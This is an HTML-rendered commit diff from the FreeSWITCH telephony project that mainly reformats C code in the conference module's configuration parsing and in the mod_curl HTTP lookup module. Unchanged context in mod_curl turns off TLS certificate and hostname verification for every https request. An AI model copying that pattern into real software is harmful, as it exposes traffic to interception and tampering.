+                                }
+                        } else if (!strcasecmp(var, &quot;timer-name&quot;) &amp;&amp; !zstr(val)) {
+                                timer_name = val;
+                        } else if (!strcasecmp(var, &quot;tts-engine&quot;) &amp;&amp; !zstr(val)) {
+                                tts_engine = val;
+                        } else if (!strcasecmp(var, &quot;tts-voice&quot;) &amp;&amp; !zstr(val)) {
+                                tts_voice = val;
+                        } else if (!strcasecmp(var, &quot;enter-sound&quot;) &amp;&amp; !zstr(val)) {
+                                enter_sound = val;
+                        } else if (!strcasecmp(var, &quot;exit-sound&quot;) &amp;&amp; !zstr(val)) {
+                                exit_sound = val;
+                        } else if (!strcasecmp(var, &quot;alone-sound&quot;) &amp;&amp; !zstr(val)) {
+                                alone_sound = val;
+                        } else if (!strcasecmp(var, &quot;perpetual-sound&quot;) &amp;&amp; !zstr(val)) {
+                                perpetual_sound = val;
+                        } else if (!strcasecmp(var, &quot;moh-sound&quot;) &amp;&amp; !zstr(val)) {
+                                moh_sound = val;
+                        } else if (!strcasecmp(var, &quot;ack-sound&quot;) &amp;&amp; !zstr(val)) {
+                                ack_sound = val;
+                        } else if (!strcasecmp(var, &quot;nack-sound&quot;) &amp;&amp; !zstr(val)) {
+                                nack_sound = val;
+                        } else if (!strcasecmp(var, &quot;muted-sound&quot;) &amp;&amp; !zstr(val)) {
+                                muted_sound = val;
+                        } else if (!strcasecmp(var, &quot;mute-detect-sound&quot;) &amp;&amp; !zstr(val)) {
+                                mute_detect_sound = val;
+                        } else if (!strcasecmp(var, &quot;unmuted-sound&quot;) &amp;&amp; !zstr(val)) {
+                                unmuted_sound = val;
+                        } else if (!strcasecmp(var, &quot;locked-sound&quot;) &amp;&amp; !zstr(val)) {
+                                locked_sound = val;
+                        } else if (!strcasecmp(var, &quot;is-locked-sound&quot;) &amp;&amp; !zstr(val)) {
+                                is_locked_sound = val;
+                        } else if (!strcasecmp(var, &quot;is-unlocked-sound&quot;) &amp;&amp; !zstr(val)) {
+                                is_unlocked_sound = val;
+                        } else if (!strcasecmp(var, &quot;member-flags&quot;) &amp;&amp; !zstr(val)) {
+                                member_flags = val;
+                        } else if (!strcasecmp(var, &quot;conference-flags&quot;) &amp;&amp; !zstr(val)) {
+                                conference_flags = val;
+                        } else if (!strcasecmp(var, &quot;kicked-sound&quot;) &amp;&amp; !zstr(val)) {
+                                kicked_sound = val;
+                        } else if (!strcasecmp(var, &quot;pin&quot;) &amp;&amp; !zstr(val)) {
+                                pin = val;
+                        } else if (!strcasecmp(var, &quot;pin-sound&quot;) &amp;&amp; !zstr(val)) {
+                                pin_sound = val;
+                        } else if (!strcasecmp(var, &quot;bad-pin-sound&quot;) &amp;&amp; !zstr(val)) {
+                                bad_pin_sound = val;
+                        } else if (!strcasecmp(var, &quot;energy-level&quot;) &amp;&amp; !zstr(val)) {
+                                energy_level = val;
+                        } else if (!strcasecmp(var, &quot;caller-id-name&quot;) &amp;&amp; !zstr(val)) {
+                                caller_id_name = val;
+                        } else if (!strcasecmp(var, &quot;caller-id-number&quot;) &amp;&amp; !zstr(val)) {
+                                caller_id_number = val;
+                        } else if (!strcasecmp(var, &quot;caller-controls&quot;) &amp;&amp; !zstr(val)) {
+                                caller_controls = val;
+                        } else if (!strcasecmp(var, &quot;comfort-noise&quot;) &amp;&amp; !zstr(val)) {
+                                int tmp;
+                                tmp = atoi(val);
+                                if (tmp &gt; 1 &amp;&amp; tmp &lt; 10000) {
+                                        comfort_noise_level = tmp;
+                                } else if (switch_true(val)) {
+                                        comfort_noise_level = 1400;
+                                }
+                        } else if (!strcasecmp(var, &quot;sound-prefix&quot;) &amp;&amp; !zstr(val)) {
+                                sound_prefix = val;
+                        } else if (!strcasecmp(var, &quot;max-members&quot;) &amp;&amp; !zstr(val)) {
+                                errno = 0;                /* sanity first */
+                                max_members = strtol(val, NULL, 0);        /* base 0 lets 0x... for hex 0... for octal and base 10 otherwise through */
+                                if (errno == ERANGE || errno == EINVAL || max_members &lt; 0 || max_members == 1) {
+                                        /* a negative wont work well, and its foolish to have a conference limited to 1 person unless the outbound 
+                                         * stuff is added, see comments above
+                                         */
+                                        max_members = 0;        /* set to 0 to disable max counts */
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;max-members %s is invalid, not setting a limit\n&quot;, val);
+                                }
+                        } else if (!strcasecmp(var, &quot;max-members-sound&quot;) &amp;&amp; !zstr(val)) {
+                                maxmember_sound = val;
+                        } else if (!strcasecmp(var, &quot;announce-count&quot;) &amp;&amp; !zstr(val)) {
+                                errno = 0;                /* safety first */
+                                announce_count = strtol(val, NULL, 0);
+                                if (errno == ERANGE || errno == EINVAL) {
+                                        announce_count = 0;
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;announce-count is invalid, not anouncing member counts\n&quot;);
+                                }
+                        } else if (!strcasecmp(var, &quot;suppress-events&quot;) &amp;&amp; !zstr(val)) {
+                                suppress_events = val;
+                        } else if (!strcasecmp(var, &quot;verbose-events&quot;) &amp;&amp; !zstr(val)) {
+                                verbose_events = val;
+                        } else if (!strcasecmp(var, &quot;auto-record&quot;) &amp;&amp; !zstr(val)) {
+                                auto_record = val;
</ins><span class="cx">                         }
</span><del>-                } else if (!strcasecmp(var, &quot;domain&quot;) &amp;&amp; !zstr(val)) {
-                        domain = val;
-                } else if (!strcasecmp(var, &quot;interval&quot;) &amp;&amp; !zstr(val)) {
-                        uint32_t tmp = atoi(val);
-                        if (SWITCH_ACCEPTABLE_INTERVAL(tmp)) {
-                                interval = tmp;
-                        } else {
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
-                                                                  &quot;Interval must be multipe of 10 and less than %d, Using default of 20\n&quot;, SWITCH_MAX_INTERVAL);
-                        }
-                } else if (!strcasecmp(var, &quot;timer-name&quot;) &amp;&amp; !zstr(val)) {
-                        timer_name = val;
-                } else if (!strcasecmp(var, &quot;tts-engine&quot;) &amp;&amp; !zstr(val)) {
-                        tts_engine = val;
-                } else if (!strcasecmp(var, &quot;tts-voice&quot;) &amp;&amp; !zstr(val)) {
-                        tts_voice = val;
-                } else if (!strcasecmp(var, &quot;enter-sound&quot;) &amp;&amp; !zstr(val)) {
-                        enter_sound = val;
-                } else if (!strcasecmp(var, &quot;exit-sound&quot;) &amp;&amp; !zstr(val)) {
-                        exit_sound = val;
-                } else if (!strcasecmp(var, &quot;alone-sound&quot;) &amp;&amp; !zstr(val)) {
-                        alone_sound = val;
-                } else if (!strcasecmp(var, &quot;perpetual-sound&quot;) &amp;&amp; !zstr(val)) {
-                        perpetual_sound = val;
-                } else if (!strcasecmp(var, &quot;moh-sound&quot;) &amp;&amp; !zstr(val)) {
-                        moh_sound = val;
-                } else if (!strcasecmp(var, &quot;ack-sound&quot;) &amp;&amp; !zstr(val)) {
-                        ack_sound = val;
-                } else if (!strcasecmp(var, &quot;nack-sound&quot;) &amp;&amp; !zstr(val)) {
-                        nack_sound = val;
-                } else if (!strcasecmp(var, &quot;muted-sound&quot;) &amp;&amp; !zstr(val)) {
-                        muted_sound = val;
-                } else if (!strcasecmp(var, &quot;mute-detect-sound&quot;) &amp;&amp; !zstr(val)) {
-                        mute_detect_sound = val;
-                } else if (!strcasecmp(var, &quot;unmuted-sound&quot;) &amp;&amp; !zstr(val)) {
-                        unmuted_sound = val;
-                } else if (!strcasecmp(var, &quot;locked-sound&quot;) &amp;&amp; !zstr(val)) {
-                        locked_sound = val;
-                } else if (!strcasecmp(var, &quot;is-locked-sound&quot;) &amp;&amp; !zstr(val)) {
-                        is_locked_sound = val;
-                } else if (!strcasecmp(var, &quot;is-unlocked-sound&quot;) &amp;&amp; !zstr(val)) {
-                        is_unlocked_sound = val;
-                } else if (!strcasecmp(var, &quot;member-flags&quot;) &amp;&amp; !zstr(val)) {
-                        member_flags = val;
-                } else if (!strcasecmp(var, &quot;conference-flags&quot;) &amp;&amp; !zstr(val)) {
-                        conference_flags = val;
-                } else if (!strcasecmp(var, &quot;kicked-sound&quot;) &amp;&amp; !zstr(val)) {
-                        kicked_sound = val;
-                } else if (!strcasecmp(var, &quot;pin&quot;) &amp;&amp; !zstr(val)) {
-                        pin = val;
-                } else if (!strcasecmp(var, &quot;pin-sound&quot;) &amp;&amp; !zstr(val)) {
-                        pin_sound = val;
-                } else if (!strcasecmp(var, &quot;bad-pin-sound&quot;) &amp;&amp; !zstr(val)) {
-                        bad_pin_sound = val;
-                } else if (!strcasecmp(var, &quot;energy-level&quot;) &amp;&amp; !zstr(val)) {
-                        energy_level = val;
-                } else if (!strcasecmp(var, &quot;caller-id-name&quot;) &amp;&amp; !zstr(val)) {
-                        caller_id_name = val;
-                } else if (!strcasecmp(var, &quot;caller-id-number&quot;) &amp;&amp; !zstr(val)) {
-                        caller_id_number = val;
-                } else if (!strcasecmp(var, &quot;caller-controls&quot;) &amp;&amp; !zstr(val)) {
-                        caller_controls = val;
-                } else if (!strcasecmp(var, &quot;comfort-noise&quot;) &amp;&amp; !zstr(val)) {
-                        int tmp;
-                        tmp = atoi(val);
-                        if (tmp &gt; 1 &amp;&amp; tmp &lt; 10000) {
-                                comfort_noise_level = tmp;
-                        } else if (switch_true(val)) {
-                                comfort_noise_level = 1400;
-                        }
-                } else if (!strcasecmp(var, &quot;sound-prefix&quot;) &amp;&amp; !zstr(val)) {
-                        sound_prefix = val;
-                } else if (!strcasecmp(var, &quot;max-members&quot;) &amp;&amp; !zstr(val)) {
-                        errno = 0;                        /* sanity first */
-                        max_members = strtol(val, NULL, 0);        /* base 0 lets 0x... for hex 0... for octal and base 10 otherwise through */
-                        if (errno == ERANGE || errno == EINVAL || max_members &lt; 0 || max_members == 1) {
-                                /* a negative wont work well, and its foolish to have a conference limited to 1 person unless the outbound 
-                                 * stuff is added, see comments above
-                                 */
-                                max_members = 0;        /* set to 0 to disable max counts */
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;max-members %s is invalid, not setting a limit\n&quot;, val);
-                        }
-                } else if (!strcasecmp(var, &quot;max-members-sound&quot;) &amp;&amp; !zstr(val)) {
-                        maxmember_sound = val;
-                } else if (!strcasecmp(var, &quot;announce-count&quot;) &amp;&amp; !zstr(val)) {
-                        errno = 0;                        /* safety first */
-                        announce_count = strtol(val, NULL, 0);
-                        if (errno == ERANGE || errno == EINVAL) {
-                                announce_count = 0;
-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;announce-count is invalid, not anouncing member counts\n&quot;);
-                        }
-                } else if (!strcasecmp(var, &quot;suppress-events&quot;) &amp;&amp; !zstr(val)) {
-                        suppress_events = val;
-                } else if (!strcasecmp(var, &quot;verbose-events&quot;) &amp;&amp; !zstr(val)) {
-                        verbose_events = val;
-                } else if (!strcasecmp(var, &quot;auto-record&quot;) &amp;&amp; !zstr(val)) {
-                        auto_record = val;
</del><span class="cx">                 }
</span><del>-        }
</del><span class="cx"> 
</span><span class="cx">         /* Set defaults and various paramaters */
</span><span class="cx"> 
</span><span class="lines">@@ -5971,7 +5963,7 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         conference-&gt;mflags = MFLAG_CAN_SPEAK | MFLAG_CAN_HEAR;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!zstr(moh_sound) &amp;&amp; switch_is_moh(moh_sound)) {
</span><span class="cx">                 conference-&gt;moh_sound = switch_core_strdup(conference-&gt;pool, moh_sound);
</span><span class="cx">         }
</span><span class="lines">@@ -6085,7 +6077,7 @@
</span><span class="cx">         if (!zstr(verbose_events) &amp;&amp; switch_true(verbose_events)) {
</span><span class="cx">                 conference-&gt;verbose_events = 1;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* caller control configuration chores */
</span><span class="cx">         if (switch_ivr_digit_stream_parser_new(conference-&gt;pool, &amp;conference-&gt;dtmf_parser) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx"> 
</span><span class="lines">@@ -6116,7 +6108,7 @@
</span><span class="cx">         switch_core_hash_insert(globals.conference_hash, conference-&gt;name, conference);
</span><span class="cx">         switch_mutex_unlock(globals.hash_mutex);
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_mutex_unlock(globals.hash_mutex);
</span><span class="cx"> 
</span><span class="lines">@@ -6277,7 +6269,8 @@
</span><span class="cx">         switch_mutex_init(&amp;globals.setup_mutex, SWITCH_MUTEX_NESTED, globals.conference_pool);
</span><span class="cx"> 
</span><span class="cx">         /* Subscribe to presence request events */
</span><del>-        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.node) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_bind_removable(modname, SWITCH_EVENT_PRESENCE_PROBE, SWITCH_EVENT_SUBCLASS_ANY, pres_event_handler, NULL, &amp;globals.node) !=
+                SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't subscribe to presence request events!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_curlmod_curlc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_curl/mod_curl.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -28,7 +28,7 @@
</span><span class="cx">  * mod_curl.c -- API for performing http queries
</span><span class="cx">  *
</span><span class="cx">  */
</span><del>- 
</del><ins>+
</ins><span class="cx"> #include &lt;switch.h&gt;
</span><span class="cx"> #include &lt;curl/curl.h&gt;
</span><span class="cx"> #include &lt;json.h&gt;
</span><span class="lines">@@ -75,13 +75,12 @@
</span><span class="cx">         http_data-&gt;bytes += realsize;
</span><span class="cx"> 
</span><span class="cx">         if (http_data-&gt;bytes &gt; http_data-&gt;max_bytes) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Oversized file detected [%d bytes]\n&quot;, (int)http_data-&gt;bytes);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Oversized file detected [%d bytes]\n&quot;, (int) http_data-&gt;bytes);
</ins><span class="cx">                 http_data-&gt;err = 1;
</span><span class="cx">                 return 0;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        http_data-&gt;stream.write_function(
-                &amp;http_data-&gt;stream, &quot;%.*s&quot;,  realsize, ptr);
</del><ins>+        http_data-&gt;stream.write_function(&amp;http_data-&gt;stream, &quot;%.*s&quot;, realsize, ptr);
</ins><span class="cx">         return realsize;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -90,18 +89,19 @@
</span><span class="cx">         register unsigned int realsize = (unsigned int) (size * nmemb);
</span><span class="cx">         http_data_t *http_data = data;
</span><span class="cx">         char *header = NULL;
</span><del>-        
-        header = switch_core_alloc(http_data-&gt;pool, realsize+1);
</del><ins>+
+        header = switch_core_alloc(http_data-&gt;pool, realsize + 1);
</ins><span class="cx">         switch_copy_string(header, ptr, realsize);
</span><span class="cx">         header[realsize] = '\0';
</span><span class="cx"> 
</span><span class="cx">         http_data-&gt;headers = curl_slist_append(http_data-&gt;headers, header);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return realsize;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data) {
-        
</del><ins>+static http_data_t *do_lookup_url(switch_memory_pool_t *pool, const char *url, const char *method, const char *data)
+{
+
</ins><span class="cx">         CURL *curl_handle = NULL;
</span><span class="cx">         long httpRes = 0;
</span><span class="cx">         char hostname[256] = &quot;&quot;;
</span><span class="lines">@@ -111,19 +111,19 @@
</span><span class="cx">         http_data = switch_core_alloc(pool, sizeof(http_data_t));
</span><span class="cx">         memset(http_data, 0, sizeof(http_data_t));
</span><span class="cx">         http_data-&gt;pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data-&gt;max_bytes = 64000;
</span><span class="cx">         SWITCH_STANDARD_STREAM(http_data-&gt;stream);
</span><span class="cx"> 
</span><span class="cx">         gethostname(hostname, sizeof(hostname));
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!method) {
</span><span class="cx">                 method = &quot;get&quot;;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, &quot;method: %s, url: %s\n&quot;, method, url);
</span><span class="cx">         curl_handle = curl_easy_init();
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!strncasecmp(url, &quot;https&quot;, 5)) {
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYPEER, 0);
</span><span class="cx">                 curl_easy_setopt(curl_handle, CURLOPT_SSL_VERIFYHOST, 0);
</span><span class="lines">@@ -150,54 +150,53 @@
</span><span class="cx">         curl_easy_perform(curl_handle);
</span><span class="cx">         curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &amp;httpRes);
</span><span class="cx">         curl_easy_cleanup(curl_handle);
</span><del>-        
-        if (        http_data-&gt;stream.data &amp;&amp;
-                        !zstr((char *)http_data-&gt;stream.data) &amp;&amp;
-                        strcmp(&quot; &quot;, http_data-&gt;stream.data) ) {
-                
</del><ins>+
+        if (http_data-&gt;stream.data &amp;&amp; !zstr((char *) http_data-&gt;stream.data) &amp;&amp; strcmp(&quot; &quot;, http_data-&gt;stream.data)) {
+
</ins><span class="cx">                 http_data-&gt;http_response = switch_core_strdup(pool, http_data-&gt;stream.data);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data-&gt;http_response_code = httpRes;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(http_data-&gt;stream.data);
</span><span class="cx">         return http_data;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data) {
</del><ins>+static char *print_json(switch_memory_pool_t *pool, http_data_t *http_data)
+{
</ins><span class="cx">         struct json_object *top = NULL;
</span><span class="cx">         struct json_object *headers = NULL;
</span><span class="cx">         char *data = NULL;
</span><span class="cx">         struct curl_slist *header = http_data-&gt;headers;
</span><del>-        
</del><ins>+
</ins><span class="cx">         top = json_object_new_object();
</span><span class="cx">         headers = json_object_new_array();
</span><span class="cx">         json_object_object_add(top, &quot;status_code&quot;, json_object_new_int(http_data-&gt;http_response_code));
</span><span class="cx">         if (http_data-&gt;http_response) {
</span><span class="cx">                 json_object_object_add(top, &quot;body&quot;, json_object_new_string(http_data-&gt;http_response));
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* parse header data */
</span><del>-        while(header) {
</del><ins>+        while (header) {
</ins><span class="cx">                 struct json_object *obj = NULL;
</span><span class="cx">                 /* remove trailing \r */
</span><del>-                if ((data=rindex(header-&gt;data, '\r'))) {
</del><ins>+                if ((data = rindex(header-&gt;data, '\r'))) {
</ins><span class="cx">                         *data = '\0';
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(header-&gt;data)) {
</span><span class="cx">                         header = header-&gt;next;
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((data = index(header-&gt;data, ':'))) {
</span><span class="cx">                         *data = '\0';
</span><span class="cx">                         data++;
</span><del>-                        while(*data == ' ' &amp;&amp; *data != '\0') {
</del><ins>+                        while (*data == ' ' &amp;&amp; *data != '\0') {
</ins><span class="cx">                                 data++;
</span><span class="cx">                         }
</span><del>-                        obj = json_object_new_object(); 
</del><ins>+                        obj = json_object_new_object();
</ins><span class="cx">                         json_object_object_add(obj, &quot;key&quot;, json_object_new_string(header-&gt;data));
</span><span class="cx">                         json_object_object_add(obj, &quot;value&quot;, json_object_new_string(data));
</span><span class="cx">                         json_object_array_add(headers, obj);
</span><span class="lines">@@ -223,15 +222,15 @@
</span><span class="cx">         }
</span><span class="cx">         json_object_object_add(top, &quot;headers&quot;, headers);
</span><span class="cx">         data = switch_core_strdup(pool, json_object_to_json_string(top));
</span><del>-        json_object_put(top); /* should free up all children */
-        
</del><ins>+        json_object_put(top);                /* should free up all children */
+
</ins><span class="cx">         return data;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_STANDARD_APP(curl_app_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *argv[10] = { 0 };
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL;
</span><span class="lines">@@ -247,8 +246,8 @@
</span><span class="cx">         struct curl_slist *slist = NULL;
</span><span class="cx">         switch_stream_handle_t stream = { 0 };
</span><span class="cx">         int i = 0;
</span><del>-        
-        
</del><ins>+
+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 pool = switch_core_session_get_pool(session);
</span><span class="cx">         } else {
</span><span class="lines">@@ -257,24 +256,23 @@
</span><span class="cx">         if (!(mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (argc == 0) {
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 url = switch_core_strdup(pool, argv[0]);
</span><span class="cx"> 
</span><del>-                for (i =1; i &lt; argc; i++) {
</del><ins>+                for (i = 1; i &lt; argc; i++) {
</ins><span class="cx">                         if (!strcasecmp(&quot;headers&quot;, argv[i])) {
</span><span class="cx">                                 do_headers = SWITCH_TRUE;
</span><span class="cx">                         } else if (!strcasecmp(&quot;json&quot;, argv[i])) {
</span><span class="cx">                                 do_json = SWITCH_TRUE;
</span><del>-                        } else if ( !strcasecmp(&quot;get&quot;, argv[i]) || 
-                                                !strcasecmp(&quot;head&quot;, argv[i])) {
</del><ins>+                        } else if (!strcasecmp(&quot;get&quot;, argv[i]) || !strcasecmp(&quot;head&quot;, argv[i])) {
</ins><span class="cx">                                 method = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                         } else if (!strcasecmp(&quot;post&quot;, argv[i])) {
</span><del>-                                if ( ++i &lt; argc) { 
</del><ins>+                                if (++i &lt; argc) {
</ins><span class="cx">                                         postdata = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                                         switch_url_decode(postdata);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -283,7 +281,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         http_data = do_lookup_url(pool, url, method, postdata);
</span><span class="cx">         if (do_json) {
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;curl_response_data&quot;, print_json(pool, http_data));
</span><span class="lines">@@ -291,7 +289,7 @@
</span><span class="cx">                 SWITCH_STANDARD_STREAM(stream);
</span><span class="cx">                 if (do_headers) {
</span><span class="cx">                         slist = http_data-&gt;headers;
</span><del>-                        while(slist) {
</del><ins>+                        while (slist) {
</ins><span class="cx">                                 stream.write_function(&amp;stream, &quot;%s\n&quot;, slist-&gt;data);
</span><span class="cx">                                 slist = slist-&gt;next;
</span><span class="cx">                         }
</span><span class="lines">@@ -300,17 +298,16 @@
</span><span class="cx">                 stream.write_function(&amp;stream, &quot;%s&quot;, http_data-&gt;http_response ? http_data-&gt;http_response : &quot;&quot;);
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;curl_response_data&quot;, stream.data);
</span><span class="cx">         }
</span><del>-        switch_channel_set_variable(channel, &quot;curl_response_code&quot;, 
-        switch_core_sprintf(pool, &quot;%ld&quot;, http_data-&gt;http_response_code));
</del><ins>+        switch_channel_set_variable(channel, &quot;curl_response_code&quot;, switch_core_sprintf(pool, &quot;%ld&quot;, http_data-&gt;http_response_code));
</ins><span class="cx">         switch_channel_set_variable(channel, &quot;curl_method&quot;, method);
</span><span class="cx"> 
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-usage:
</del><ins>+
+  usage:
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Usage: %s\n&quot;, SYNTAX);
</span><span class="cx">         switch_goto_status(status, done);
</span><del>-        
-done:
</del><ins>+
+  done:
</ins><span class="cx">         switch_safe_free(stream.data);
</span><span class="cx">         if (http_data &amp;&amp; http_data-&gt;headers) {
</span><span class="cx">                 curl_slist_free_all(http_data-&gt;headers);
</span><span class="lines">@@ -319,6 +316,7 @@
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> SWITCH_STANDARD_API(curl_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -335,7 +333,7 @@
</span><span class="cx">         int i = 0;
</span><span class="cx"> 
</span><span class="cx">         switch_memory_pool_t *pool = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">         }
</span><span class="lines">@@ -351,20 +349,19 @@
</span><span class="cx">                 if (argc &lt; 1) {
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 url = switch_core_strdup(pool, argv[0]);
</span><del>-                
-                for (i =1; i &lt; argc; i++) {
</del><ins>+
+                for (i = 1; i &lt; argc; i++) {
</ins><span class="cx">                         if (!strcasecmp(&quot;headers&quot;, argv[i])) {
</span><span class="cx">                                 do_headers = SWITCH_TRUE;
</span><span class="cx">                         } else if (!strcasecmp(&quot;json&quot;, argv[i])) {
</span><span class="cx">                                 do_json = SWITCH_TRUE;
</span><del>-                        } else if ( !strcasecmp(&quot;get&quot;, argv[i]) || 
-                                                !strcasecmp(&quot;head&quot;, argv[i])) {
</del><ins>+                        } else if (!strcasecmp(&quot;get&quot;, argv[i]) || !strcasecmp(&quot;head&quot;, argv[i])) {
</ins><span class="cx">                                 method = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                         } else if (!strcasecmp(&quot;post&quot;, argv[i])) {
</span><span class="cx">                                 method = &quot;post&quot;;
</span><del>-                                if ( ++i &lt; argc) { 
</del><ins>+                                if (++i &lt; argc) {
</ins><span class="cx">                                         postdata = switch_core_strdup(pool, argv[i]);
</span><span class="cx">                                         switch_url_decode(postdata);
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -372,14 +369,14 @@
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 http_data = do_lookup_url(pool, url, method, postdata);
</span><span class="cx">                 if (do_json) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;%s&quot;, print_json(pool, http_data));
</span><span class="cx">                 } else {
</span><span class="cx">                         if (do_headers) {
</span><span class="cx">                                 slist = http_data-&gt;headers;
</span><del>-                                while(slist) {
</del><ins>+                                while (slist) {
</ins><span class="cx">                                         stream-&gt;write_function(stream, &quot;%s\n&quot;, slist-&gt;data);
</span><span class="cx">                                         slist = slist-&gt;next;
</span><span class="cx">                                 }
</span><span class="lines">@@ -390,11 +387,11 @@
</span><span class="cx">         }
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx"> 
</span><del>-usage:
</del><ins>+  usage:
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;-ERR\n%s\n&quot;, SYNTAX);
</span><span class="cx">         switch_goto_status(status, done);
</span><del>-        
-done: 
</del><ins>+
+  done:
</ins><span class="cx">         if (http_data &amp;&amp; http_data-&gt;headers) {
</span><span class="cx">                 curl_slist_free_all(http_data-&gt;headers);
</span><span class="cx">         }
</span><span class="lines">@@ -414,7 +411,7 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx"> 
</span><span class="cx">         memset(&amp;globals, 0, sizeof(globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx"> 
</span><span class="cx">         SWITCH_ADD_API(api_interface, &quot;curl&quot;, &quot;curl API&quot;, curl_function, SYNTAX);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_directorymod_directoryc"></a>
